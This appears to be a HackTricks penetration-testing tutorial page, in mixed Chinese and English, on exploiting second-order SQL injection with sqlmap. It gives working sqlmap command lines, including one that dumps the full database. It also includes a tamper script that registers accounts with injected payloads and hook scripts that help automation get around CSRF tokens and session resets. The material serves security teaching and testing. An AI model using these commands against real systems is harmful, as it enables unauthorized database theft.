Second Order Injection with SQLMap
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
SQLMap can exploit Second Order SQLis.
你需要提供:
- sqlinjection payload 将被保存的 request
- payload 将被 executed 的 request
保存 SQL injection payload 的 request 会像 sqlmap 中任何其他 injection 一样被 指明。sqlmap 可以读取 injection 的输出/执行结果的 request 可以通过 --second-url 或 --second-req 指定,如果你需要从文件中指定完整 request。
Simple second order example:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
在某些情况下,这还不够,因为你还需要在发送 payload 和访问不同页面之外执行其他操作。
当需要这样做时,你可以使用一个 sqlmap tamper。例如,下面的脚本会使用 sqlmap payload 作为 email 注册一个新用户并 logout。
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
一个 SQLMap tamper 总是在开始一次带有 payload 的 injection try 之前执行,并且它必须返回一个 payload。在这种情况下,我们不关心 payload,但我们关心发送一些 requests,所以 payload 不会被更改。
所以,如果由于某些原因,我们需要一个更复杂的流程来利用 second order SQL injection,比如:
- 在 “email” 字段中带上 SQLi payload 创建一个 account
- Logout
- 用那个 account Login(login.txt)
- 发送一个 request 来执行 SQL injection(second.txt)
这一行 sqlmap 会有帮助:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
实际 second-order 流程中的有用开关
Second-order automation 通常会失败,因为 payload 存储请求有效,但 执行请求很吵、带有状态,或者受到保护。在这种情况下,以下 flags 通常比继续增加更多 payload 更有用:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: 当 store 或 trigger request 需要每次尝试都使用新的 anti-CSRF token 时很有用。--live-cookies: 在每个 request 之前重新加载 cookies。当 browser/Burp macro 在后台刷新 session state 时很有用。--safe-req和--safe-freq: 当 application 在几次失败的 probe 后把你 log out 或使 session 失效时,保持 workflow 继续运行。--string,--not-string,--regexp,--code,--text-only: 当 second-order response 包含 banner、ads、timestamp 或 user-generated junk,导致 diffing 不稳定时很有用。
When --tamper is not enough
tamper.py 仍然是最简单的方式,用于register a payload, log out, log in again, and trigger execution。不过,在现代 target 上,通常更适合把部分逻辑移到 request/response hooks:
--preprocess: 在发送前修改完整的 HTTP request。当 second-order flow 需要额外的 nonce、额外的 parameter 或 header normalization 时很有用。--postprocess: 在 sqlmap 比较之前清理 HTTP response。当 second-order sink 被动态 HTML 包裹,而只有一小段 fragment 是稳定时很有用。
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Important limitations
- 不要假设
--second-req会在第二个请求中的*占位符里重放相同的 payload。如果触发请求也需要注入值(或其派生版本),通常需要自定义tamper、--preprocess,或本地代理。 - 不要依赖
--eval处理第二个请求。官方用法把--eval仅用于主请求流程;如果第二个请求也需要每次尝试都做变更,请在你的辅助脚本里处理。
这种模式尤其适用于 payload 被存储在以下位置的场景:
- 文件名或稍后会被查询的 image metadata
- 稍后会被 admin panels 消费的 registration/profile 字段
- 服务器端保存并在之后重放的 sorting/filtering preferences
- 只有在 preview、export 或 moderation 操作之后才会执行的 workflow state
References
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


